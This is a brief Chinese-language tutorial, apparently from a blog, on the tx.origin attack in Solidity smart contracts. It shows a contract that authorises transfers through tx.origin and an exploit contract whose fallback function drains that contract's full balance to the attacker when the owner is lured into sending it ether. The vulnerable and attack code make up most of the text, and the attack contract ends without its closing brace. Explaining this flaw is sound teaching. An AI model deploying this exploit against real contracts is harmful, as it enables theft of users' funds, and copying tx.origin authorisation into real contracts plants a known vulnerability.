[区块链]tx.origin攻击

contract unpayable{
    
    address public owner;
    constructor ()public{
        owner=msg.sender;
    }

function transfer(address payable _to,uint _amount)public{
    require(tx.origin==owner);
    payable(_to).transfer(_amount);
}
    fallback() external payable{
    }
 function getBalance() public view returns (uint) {
        return address(this).balance;
    }
}

假设a部署了合约unpayable合约，并且向合约中存入eth通过诱导a给attack合约地址发送eth，可以使unpayable合约内的eth全部发送到attacker。
下面是利用代码：

contract Attack{
   address public unpaybal;
   unpayable public unp;
    address public owner;
    constructor (unpayable _unp)public{
      unp=unpayable(_unp)  ;
       owner=msg.sender;
    }
     function getBalance() public view returns (uint) {
        return address(this).balance;
    }
     fallback() external payable{
       unp.transfer(payable(owner),address(unp).balance);
    }